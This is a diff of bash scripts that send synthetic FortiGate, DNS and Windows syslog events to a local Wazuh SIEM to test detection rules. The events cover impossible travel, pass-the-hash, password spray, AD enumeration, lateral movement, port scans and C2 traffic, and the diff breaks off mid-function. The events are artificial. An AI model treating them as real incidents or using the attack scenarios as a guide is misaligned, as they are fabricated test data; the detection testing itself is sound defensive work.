-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
76
-}
77
-
78
-selector_matches() {
79
-  local id="$1"
80
-  local section="$2"
81
-  local sel
82
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
83
-  local idl
84
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
85
-  local sec
86
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
87
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
88
-}
89
-
90
-emit_c_usecase() {
91
-  local id="$1"
92
-  local section="$2"
93
-  local severity="$3"
94
-  local host="$4"
95
-  local usecase="$5"
96
-  local body="$6"
97
-
98
-  selector_matches "${id}" "${section}" || return 0
99
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
100
-  sleep "${EVENT_DELAY}"
101
-}
102
-
103
-emit_c1() {
104
-  # Two successful logins by same user with impossible travel profile
105
-  emit_c_usecase "C1-01" "C1" "high" "${VPN_HOST}" \
106
-    "Impossible Travel Detection" \
107
-    "event_type=vpn_login_success event_id=4624 success=true user=\"${SIM_USER}\" src_ip=203.150.10.10 country=TH src_lat=13.7563 src_lon=100.5018 dst_host=vpn-gw-01"
108
-
109
-  emit_c_usecase "C1-01" "C1" "high" "${VPN_HOST}" \
110
-    "Impossible Travel Detection" \
111
-    "event_type=vpn_login_success event_id=4624 success=true user=\"${SIM_USER}\" src_ip=8.8.8.8 country=US src_lat=37.3861 src_lon=-122.0839 dst_host=vpn-gw-01"
112
-}
113
-
114
-emit_c2() {
115
-  emit_c_usecase "C2-01" "C2" "high" "${WIN_HOST}" \
116
-    "Privileged Account Usage Outside Business Hours" \
117
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=${SIM_SRC_IP} logon_type=10 dst_host=dc-01"
118
-
119
-  emit_c_usecase "C2-02" "C2" "medium" "${WIN_HOST}" \
120
-    "Dormant Account Activation" \
121
-    "event_type=windows_auth_success event_id=4624 success=true user=\"legacy.user\" src_ip=198.51.100.55 dst_host=dc-01"
122
-
123
-  emit_c_usecase "C2-03" "C2" "high" "${WIN_HOST}" \
124
-    "Service Account Interactive Logon" \
125
-    "event_type=windows_auth_success event_id=4624 success=true user=\"${SIM_SERVICE_USER}\" account_type=service is_service=true logon_type=10 src_ip=198.51.100.66 dst_host=filesrv-01"
126
-
127
-  emit_c_usecase "C2-04" "C2" "high" "${WIN_HOST}" \
128
-    "Rapid Privilege Escalation then Sensitive Access" \
129
-    "event_type=windows_privilege_group_add event_id=4732 user=\"${SIM_USER}\" action=group_add is_admin=true src_ip=10.10.1.20 dst_host=dc-01"
130
-
131
-  emit_c_usecase "C2-04" "C2" "high" "${WIN_HOST}" \
132
-    "Rapid Privilege Escalation then Sensitive Access" \
133
-    "event_type=windows_file_share_access event_id=5145 user=\"${SIM_USER}\" action=share_access src_ip=10.10.1.20 dst_host=filesrv-02 dst_port=445"
134
-}
135
-
136
-emit_c3() {
137
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
138
-    "Multiple Authentication Success Across Hosts" \
139
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=app-01 dst_port=3389"
140
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
141
-    "Multiple Authentication Success Across Hosts" \
142
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=app-02 dst_port=3389"
143
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
144
-    "Multiple Authentication Success Across Hosts" \
145
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=db-01 dst_port=3389"
146
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
147
-    "Multiple Authentication Success Across Hosts" \
148
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=db-02 dst_port=3389"
149
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
150
-    "Multiple Authentication Success Across Hosts" \
151
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=fs-01 dst_port=3389"
152
-
153
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
154
-    "SMB/RDP Lateral Burst Pattern" \
155
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=rdp-01 dst_port=3389"
156
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
157
-    "SMB/RDP Lateral Burst Pattern" \
158
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=smb-01 dst_port=445"
159
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
160
-    "SMB/RDP Lateral Burst Pattern" \
161
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=smb-02 dst_port=445"
162
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
163
-    "SMB/RDP Lateral Burst Pattern" \
164
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=rdp-02 dst_port=3389"
165
-
166
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
167
-    "Admin Accessing Many Servers Rapidly" \
168
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-01 dst_port=3389"
169
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
170
-    "Admin Accessing Many Servers Rapidly" \
171
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-02 dst_port=3389"
172
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
173
-    "Admin Accessing Many Servers Rapidly" \
174
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-03 dst_port=3389"
175
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
176
-    "Admin Accessing Many Servers Rapidly" \
177
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-04 dst_port=3389"
178
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
179
-    "Admin Accessing Many Servers Rapidly" \
180
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-05 dst_port=3389"
181
-
182
-  # C3-04 scanning behavior: many destination ports from same source
183
-  for port in 80 88 135 139 389 443 445 464 636 1025 1433 1521 2049 2375 3306 3389 5432 5985 8080 8443; do
184
-    emit_c_usecase "C3-04" "C3" "medium" "${WIN_HOST}" \
185
-      "Internal Scanning Enumeration Behavior" \
186
-      "event_type=internal_scan src_ip=10.30.0.40 dst_host=10.30.10.$((RANDOM % 10 + 1)) dst_port=${port} action=connect_attempt"
187
-  done
188
-}
189
-
190
-emit_selected_set() {
191
-  local sel
192
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
193
-  case "${sel}" in
194
-    all)
195
-      emit_c1
196
-      emit_c2
197
-      emit_c3
198
-      ;;
199
-    c1|c1-*)
200
-      emit_c1
201
-      ;;
202
-    c2|c2-*)
203
-      emit_c2
204
-      ;;
205
-    c3|c3-*)
206
-      emit_c3
207
-      ;;
208
-    *)
209
-      emit_c1
210
-      emit_c2
211
-      emit_c3
212
-      ;;
213
-  esac
214
-}
215
-
216
-echo "starting proposal Appendix C log simulator"
217
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
218
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
219
-
220
-if [[ "${FOREVER}" == "true" ]]; then
221
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
222
-  trap 'echo; echo "stopped"; exit 0' INT TERM
223
-  while true; do
224
-    emit_selected_set
225
-    sleep "${DELAY}"
226
-  done
227
-else
228
-  for ((i=1; i<=COUNT; i++)); do
229
-    emit_selected_set
230
-    if [[ "${i}" -lt "${COUNT}" ]]; then
231
-      sleep "${DELAY}"
232
-    fi
233
-  done
234
-  echo "done"
235
-fi

+ 0 - 356
scripts/send-wazuh-proposal-required-events.sh

@@ -1,356 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds]
6
-#
7
-# selector:
8
-#   all | a1 | a2 | a3 | a4 | <usecase_id>
9
-#   example usecase_id: A2-01, A3-05, A4-24
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-PROFILE="${PROFILE:-simulation}"
18
-
19
-for arg in "${@:4}"; do
20
-  case "${arg}" in
21
-    --forever)
22
-      FOREVER="true"
23
-      ;;
24
-    --profile=*)
25
-      PROFILE="${arg#*=}"
26
-      ;;
27
-    *)
28
-      echo "error: unexpected argument '${arg}'"
29
-      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
30
-      exit 1
31
-      ;;
32
-  esac
33
-done
34
-
35
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
36
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
37
-
38
-FGT_DEVNAME="${FGT_DEVNAME:-FGT80F-Branch01}"
39
-FGT_DEVID="${FGT_DEVID:-FGT80FTK20000001}"
40
-WIN_HOST="${WIN_HOST:-win-dc01}"
41
-DNS_HOST="${DNS_HOST:-dns-fw-01}"
42
-SIM_VPN_USER="${SIM_VPN_USER:-remote.user}"
43
-
44
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
45
-  echo "error: count must be a positive integer"
46
-  exit 1
47
-fi
48
-
49
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
50
-  echo "error: delay must be numeric"
51
-  exit 1
52
-fi
53
-
54
-if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
55
-  echo "error: EVENT_DELAY must be numeric"
56
-  exit 1
57
-fi
58
-
59
-if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
-  echo "error: profile must be simulation or production"
61
-  exit 1
62
-fi
63
-
64
-rand_public_ip() {
65
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
66
-    echo "198.51.100.$((RANDOM % 240 + 10))"
67
-  else
68
-    echo "203.0.113.$((RANDOM % 240 + 10))"
69
-  fi
70
-}
71
-
72
-rand_private_ip() {
73
-  echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
74
-}
75
-
76
-rand_domain() {
77
-  echo "ioc-$((RANDOM % 9000 + 1000)).malicious.example"
78
-}
79
-
80
-emit_syslog() {
81
-  local msg="$1"
82
-  local sent="false"
83
-
84
-  if [[ "${DRY_RUN}" == "1" ]]; then
85
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
86
-    return 0
87
-  fi
88
-
89
-  if command -v nc >/dev/null 2>&1; then
90
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
91
-      sent="true"
92
-    fi
93
-  fi
94
-
95
-  if [[ "${sent}" != "true" ]]; then
96
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
97
-      sent="true"
98
-    fi
99
-  fi
100
-
101
-  if [[ "${sent}" != "true" ]]; then
102
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
103
-    return 1
104
-  fi
105
-
106
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
107
-}
108
-
109
-selector_matches() {
110
-  local id="$1"
111
-  local section="$2"
112
-  local sel
113
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
114
-  local idl
115
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
116
-  local sec
117
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
118
-
119
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
120
-}
121
-
122
-emit_fgt_usecase() {
123
-  local id="$1"
124
-  local section="$2"
125
-  local severity="$3"
126
-  local usecase="$4"
127
-  local body="$5"
128
-
129
-  selector_matches "${id}" "${section}" || return 0
130
-
131
-  local tags
132
-  if [[ "${PROFILE}" == "production" ]]; then
133
-    tags="soc_mvp_test=true source=fortigate severity=${severity}"
134
-  else
135
-    tags="soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
136
-  fi
137
-  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" ${tags} ${body}"
138
-  sleep "${EVENT_DELAY}"
139
-}
140
-
141
-emit_dns_usecase() {
142
-  local id="$1"
143
-  local section="$2"
144
-  local severity="$3"
145
-  local usecase="$4"
146
-  local body="$5"
147
-
148
-  selector_matches "${id}" "${section}" || return 0
149
-
150
-  local tags
151
-  if [[ "${PROFILE}" == "production" ]]; then
152
-    tags="soc_mvp_test=true source=dns severity=${severity}"
153
-  else
154
-    tags="soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
155
-  fi
156
-  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} ${tags} ${body}"
157
-  sleep "${EVENT_DELAY}"
158
-}
159
-
160
-emit_windows_usecase() {
161
-  local id="$1"
162
-  local section="$2"
163
-  local severity="$3"
164
-  local usecase="$4"
165
-  local body="$5"
166
-
167
-  selector_matches "${id}" "${section}" || return 0
168
-
169
-  local tags
170
-  if [[ "${PROFILE}" == "production" ]]; then
171
-    tags="soc_mvp_test=true source=windows severity=${severity}"
172
-  else
173
-    tags="soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
174
-  fi
175
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} ${tags} ${body}"
176
-  sleep "${EVENT_DELAY}"
177
-}
178
-
179
-emit_a1() {
180
-  local sip
181
-  local domain
182
-  local mip
183
-  sip="$(rand_private_ip)"
184
-  domain="$(rand_domain)"
185
-  mip="$(rand_public_ip)"
186
-
187
-  emit_dns_usecase "A1-01" "A1" "medium" \
188
-    "DNS Network Traffic Communicate to Malicious Domain" \
189
-    "event_type=ioc_dns_traffic src_ip=${sip} query=${domain} resolved_ip=${mip} action=blocked"
190
-
191
-  emit_dns_usecase "A1-02" "A1" "medium" \
192
-    "DNS Network Traffic Malicious Domain IOCs Detection" \
193
-    "event_type=ioc_domain_match src_ip=${sip} ioc_type=domain ioc_value=${domain} feed=threatintel_main confidence=high action=alert"
194
-}
195
-
196
-emit_a2() {
197
-  local pub
198
-  local sip
199
-  pub="$(rand_public_ip)"
200
-  sip="$(rand_private_ip)"
201
-
202
-  emit_fgt_usecase "A2-01" "A2" "high" "IPS IDS Network Traffic Allowed RDP from Public IPs" \
203
-    "logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" srcip=${pub} dstip=${sip} dstport=3389 service=\"RDP\" action=\"accept\" policyid=44"
204
-
205
-  emit_fgt_usecase "A2-02" "A2" "high" "IPS IDS Firewall Account Admin Password Change" \
206
-    "logid=\"0100044547\" type=\"event\" subtype=\"system\" user=\"admin\" action=\"password-change\" target_account=\"admin\""
207
-
208
-  emit_fgt_usecase "A2-03" "A2" "high" "IPS IDS Firewall Account Create Add Admin Account" \
209
-    "logid=\"0100044548\" type=\"event\" subtype=\"system\" user=\"admin\" action=\"create-admin\" target_account=\"secops_admin\""
210
-
211
-  emit_fgt_usecase "A2-04" "A2" "high" "IPS IDS Firewall Configure Disabled Email Notification" \
212
-    "logid=\"0100044551\" type=\"event\" subtype=\"system\" action=\"config-change\" config_item=\"alertemail\" config_value=\"disable\""
213
-
214
-  emit_fgt_usecase "A2-05" "A2" "low" "IPS IDS Firewall Configure Download Configure FW" \
215
-    "logid=\"0100044552\" type=\"event\" subtype=\"system\" action=\"download-config\" user=\"admin\""
216
-
217
-  emit_fgt_usecase "A2-06" "A2" "medium" "IPS IDS IDS Alert Multiple Critical High" \
218
-    "logid=\"0720018432\" type=\"utm\" subtype=\"ips\" action=\"detected\" attack=\"Multiple.Critical.High.Signatures\" severity=\"high\" count=7"
219
-
220
-  emit_fgt_usecase "A2-07" "A2" "low" "IPS IDS Network Traffic Port Scanning" \
221
-    "logid=\"0720018433\" type=\"utm\" subtype=\"anomaly\" attack=\"TCP.Port.Scan\" srcip=${pub} dstip=${sip} action=\"detected\""
222
-
223
-  emit_fgt_usecase "A2-08" "A2" "medium" "IPS IDS Network Traffic IOC Detection" \
224
-    "logid=\"0720018434\" type=\"utm\" subtype=\"ips\" ioc_type=ip ioc_value=$(rand_public_ip) action=\"blocked\""
225
-
226
-  emit_fgt_usecase "A2-09" "A2" "medium" "IPS IDS Network Traffic Port Scanning from Private IP" \
227
-    "logid=\"0720018435\" type=\"utm\" subtype=\"anomaly\" attack=\"Internal.Port.Scan\" srcip=$(rand_private_ip) dstip=$(rand_private_ip) action=\"detected\""
228
-
229
-  emit_fgt_usecase "A2-10" "A2" "medium" "IPS IDS Network Traffic Communicate to Malicious IP" \
230
-    "logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" srcip=$(rand_private_ip) dstip=$(rand_public_ip) threat_label=\"known-c2\" action=\"accept\""
231
-}
232
-
233
-emit_a3() {
234
-  local out_th
235
-  out_th="$(rand_public_ip)"
236
-
237
-  emit_fgt_usecase "A3-01" "A3" "high" "VPN Authentication Success from Guest Account" \
238
-    "logid=\"0101037131\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"guest\" srcip=${out_th} country=\"TH\""
239
-
240
-  emit_fgt_usecase "A3-02" "A3" "high" "VPN Authentication Success from Multiple Country" \
241
-    "logid=\"0101037132\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} country=\"US\" previous_country=\"TH\""
242
-
243
-  emit_fgt_usecase "A3-03" "A3" "high" "VPN Authentication Brute Force Success" \
244
-    "logid=\"0101037133\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} failed_attempts_before_success=18"
245
-
246
-  emit_fgt_usecase "A3-04" "A3" "low" "VPN Authentication Multiple Fail Many Accounts from One Source" \
247
-    "logid=\"0101037134\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-fail\" srcip=${out_th} failed_accounts=12"
248
-
249
-  emit_fgt_usecase "A3-05" "A3" "high" "VPN Authentication Success from Outside Thailand" \
250
-    "logid=\"0101037135\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} country=\"US\" expected_country=\"TH\""
251
-}
252
-
253
-emit_a4() {
254
-  emit_windows_usecase "A4-01" "A4" "medium" "Windows Authentication Multiple Fail from Privileged Account" \
255
-    "event_id=4625 account=\"administrator\" src_ip=$(rand_private_ip) fail_count=9"
256
-  emit_windows_usecase "A4-02" "A4" "medium" "Windows Authentication Multiple Fail from Service Account" \
257
-    "event_id=4625 account=\"svc_backup\" src_ip=$(rand_private_ip) fail_count=11"
258
-  emit_windows_usecase "A4-03" "A4" "medium" "Windows AD Enumeration with Malicious Tools" \
259
-    "event_id=4688 process=\"adfind.exe\" user=\"user1\" host=\"${WIN_HOST}\""
260
-  emit_windows_usecase "A4-04" "A4" "medium" "Windows Authentication Fail from Public IPs" \
261
-    "event_id=4625 account=\"user1\" src_ip=$(rand_public_ip) fail_count=4"
262
-  emit_windows_usecase "A4-05" "A4" "medium" "Windows File Share Enumeration to Single Destination" \
263
-    "event_id=5145 account=\"user1\" src_ip=$(rand_private_ip) share=\"\\\\\\\\fileserver\\\\finance\" object_count=87"
264
-  emit_windows_usecase "A4-06" "A4" "high" "Windows Authentication Success from Public IPs" \
265
-    "event_id=4624 account=\"user2\" src_ip=$(rand_public_ip) logon_type=10"
266
-  emit_windows_usecase "A4-07" "A4" "high" "Windows Authentication Privileged Account Impersonation" \
267
-    "event_id=4624 account=\"administrator\" impersonation=true source_account=\"user2\""
268
-  emit_windows_usecase "A4-08" "A4" "high" "Windows Authentication Successful Pass the Hash RDP" \
269
-    "event_id=4624 account=\"administrator\" logon_type=10 auth_package=\"NTLM\" pth_indicator=true"
270
-  emit_windows_usecase "A4-09" "A4" "high" "Windows Authentication Success from Guest Account" \
271
-    "event_id=4624 account=\"guest\" logon_type=3"
272
-  emit_windows_usecase "A4-10" "A4" "high" "Windows Authentication Interactive Logon Success by Service Account" \
273
-    "event_id=4624 account=\"svc_backup\" logon_type=2"
274
-  emit_windows_usecase "A4-11" "A4" "high" "Windows Account Added to Privileged Custom Group" \
275
-    "event_id=4732 account=\"user3\" target_group=\"SOC-Privileged-Custom\""
276
-  emit_windows_usecase "A4-12" "A4" "high" "Windows Account Added to Privileged Group" \
277
-    "event_id=4728 account=\"user3\" target_group=\"Domain Admins\""
278
-  emit_windows_usecase "A4-13" "A4" "high" "Windows Domain Configure DSRM Password Reset" \
279
-    "event_id=4794 account=\"administrator\" action=\"dsrm-password-reset\""
280
-  emit_windows_usecase "A4-14" "A4" "low" "Windows Authentication Multiple Fail One Account from Many Sources" \
281
-    "event_id=4625 account=\"user4\" src_count=15 fail_count=28"
282
-  emit_windows_usecase "A4-15" "A4" "low" "Windows Authentication Multiple Fail Many Accounts from One Source" \
283
-    "event_id=4625 src_ip=$(rand_private_ip) account_count=18 fail_count=42"
284
-  emit_windows_usecase "A4-16" "A4" "low" "Windows Authentication Multiple Fail from Guest Account" \
285
-    "event_id=4625 account=\"guest\" fail_count=9"
286
-  emit_windows_usecase "A4-17" "A4" "low" "Windows Authentication Multiple Fail One Account from One Source" \
287
-    "event_id=4625 account=\"user5\" src_ip=$(rand_private_ip) fail_count=10"
288
-  emit_windows_usecase "A4-18" "A4" "low" "Windows Authentication Multiple Interactive Logon Denied" \
289
-    "event_id=4625 account=\"user6\" logon_type=2 fail_count=7"
290
-  emit_windows_usecase "A4-19" "A4" "low" "Windows Authentication Password Spray" \
291
-    "event_id=4625 spray=true src_ip=$(rand_public_ip) attempted_accounts=25"
292
-  emit_windows_usecase "A4-20" "A4" "low" "Windows Authentication Attempt from Disabled Account" \
293
-    "event_id=4625 account=\"disabled.user\" status=\"0xC0000072\""
294
-  emit_windows_usecase "A4-21" "A4" "low" "Windows Domain Account Created" \
295
-    "event_id=4720 account=\"new.domain.user\" account_type=\"domain\""
296
-  emit_windows_usecase "A4-22" "A4" "low" "Windows Local Account Re Enabled" \
297
-    "event_id=4722 account=\"local.user\" account_type=\"local\""
298
-  emit_windows_usecase "A4-23" "A4" "low" "Windows Local Account Created" \
299
-    "event_id=4720 account=\"local.new\" account_type=\"local\""
300
-  emit_windows_usecase "A4-24" "A4" "low" "Windows Domain Account Re Enabled" \
301
-    "event_id=4722 account=\"domain.reenabled\" account_type=\"domain\""
302
-}
303
-
304
-emit_selected_set() {
305
-  local sel
306
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
307
-
308
-  case "${sel}" in
309
-    all)
310
-      emit_a1
311
-      emit_a2
312
-      emit_a3
313
-      emit_a4
314
-      ;;
315
-    a1|a1-*)
316
-      emit_a1
317
-      ;;
318
-    a2|a2-*)
319
-      emit_a2
320
-      ;;
321
-    a3|a3-*)
322
-      emit_a3
323
-      ;;
324
-    a4|a4-*)
325
-      emit_a4
326
-      ;;
327
-    *)
328
-      # Exact usecase selectors (e.g. A3-05) are handled by selector_matches.
329
-      emit_a1
330
-      emit_a2
331
-      emit_a3
332
-      emit_a4
333
-      ;;
334
-  esac
335
-}
336
-
337
-echo "starting proposal-required log simulator"
338
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
339
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
340
-
341
-if [[ "${FOREVER}" == "true" ]]; then
342
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
343
-  trap 'echo; echo "stopped"; exit 0' INT TERM
344
-  while true; do
345
-    emit_selected_set
346
-    sleep "${DELAY}"
347
-  done
348
-else
349
-  for ((i=1; i<=COUNT; i++)); do
350
-    emit_selected_set
351
-    if [[ "${i}" -lt "${COUNT}" ]]; then
352
-      sleep "${DELAY}"
353
-    fi
354
-  done
355
-  echo "done"
356
-fi

+ 550 - 0
scripts/send-wazuh-sim-logs.sh

@@ -0,0 +1,550 @@
1
+#!/usr/bin/env bash
2
+set -euo pipefail
3
+
4
+# Combined Wazuh simulator script (single entrypoint)
5
+# Replays production-style sample logs from samples/*.log to Wazuh syslog UDP.
6
+#
7
+# Usage:
8
+#   scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run] [--no-mock] [--no-guarantee-hits] [--random-types] [--include-nonalerts] [--docker-send]
9
+#
10
+# Selectors:
11
+#   all
12
+#   a|b|c|appendix-a|appendix-b|appendix-c
13
+#   a1|a2|a3|a4|b1|b2|b3|c1|c2|c3
14
+#   A1-01, A2-10, B3-06, C1-01, ...
15
+
16
+SELECTOR="${1:-all}"
17
+COUNT="${2:-1}"
18
+DELAY="${3:-1}"
19
+shift $(( $# >= 3 ? 3 : $# )) || true
20
+
21
+FOREVER=0
22
+DRY_RUN="${DRY_RUN:-0}"
23
+MOCK_VALUES="${MOCK_VALUES:-1}"
24
+GUARANTEE_HITS="${GUARANTEE_HITS:-1}"
25
+RANDOM_TYPES="${RANDOM_TYPES:-0}"
26
+INCLUDE_NONALERTS="${INCLUDE_NONALERTS:-0}"
27
+DOCKER_SEND="${DOCKER_SEND:-0}"
28
+WAZUH_MANAGER_CONTAINER="${WAZUH_MANAGER_CONTAINER:-wazuh-single-wazuh.manager-1}"
29
+
30
+for arg in "$@"; do
31
+  case "$arg" in
32
+    --forever)
33
+      FOREVER=1
34
+      ;;
35
+    --dry-run)
36
+      DRY_RUN=1
37
+      ;;
38
+    --no-mock)
39
+      MOCK_VALUES=0
40
+      ;;
41
+    --mock)
42
+      MOCK_VALUES=1
43
+      ;;
44
+    --no-guarantee-hits)
45
+      GUARANTEE_HITS=0
46
+      ;;
47
+    --guarantee-hits)
48
+      GUARANTEE_HITS=1
49
+      ;;
50
+    --random-types)
51
+      RANDOM_TYPES=1
52
+      ;;
53
+    --include-nonalerts)
54
+      INCLUDE_NONALERTS=1
55
+      ;;
56
+    --docker-send)
57
+      DOCKER_SEND=1
58
+      ;;
59
+    -h|--help)
60
+      echo "usage: scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run] [--no-mock] [--no-guarantee-hits] [--random-types] [--include-nonalerts] [--docker-send]"
61
+      exit 0
62
+      ;;
63
+    *)
64
+      echo "error: unknown option '$arg'"
65
+      exit 1
66
+      ;;
67
+  esac
68
+done
69
+
70
+if ! [[ "$COUNT" =~ ^[0-9]+$ ]] || [ "$COUNT" -lt 1 ]; then
71
+  echo "error: count must be a positive integer"
72
+  exit 1
73
+fi
74
+
75
+if ! [[ "$DELAY" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
76
+  echo "error: delay_seconds must be numeric"
77
+  exit 1
78
+fi
79
+
80
+WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
81
+WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
82
+NC_WAIT_SECONDS="${NC_WAIT_SECONDS:-0}"
83
+STRICT_SEND="${STRICT_SEND:-1}"
84
+BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
85
+SAMPLES_DIR="${BASE_DIR}/samples"
86
+
87
+normalize() {
88
+  printf '%s' "$1" | tr '[:upper:]' '[:lower:]'
89
+}
90
+
91
+is_valid_selector() {
92
+  local sel
93
+  sel="$(normalize "$1")"
94
+  case "$sel" in
95
+    all|a|b|c|appendix-a|appendix-b|appendix-c|a1|a2|a3|a4|b1|b2|b3|c1|c2|c3)
96
+      return 0
97
+      ;;
98
+    [abc][0-9]-[0-9][0-9])
99
+      return 0
100
+      ;;
101
+    *)
102
+      return 1
103
+      ;;
104
+  esac
105
+}
106
+
107
+selector_matches_tag() {
108
+  local selector tag sel tagl
109
+  selector="$1"
110
+  tag="$2"
111
+  sel="$(normalize "$selector")"
112
+  tagl="$(normalize "$tag")"
113
+
114
+  if [ -z "$tagl" ]; then
115
+    case "$sel" in
116
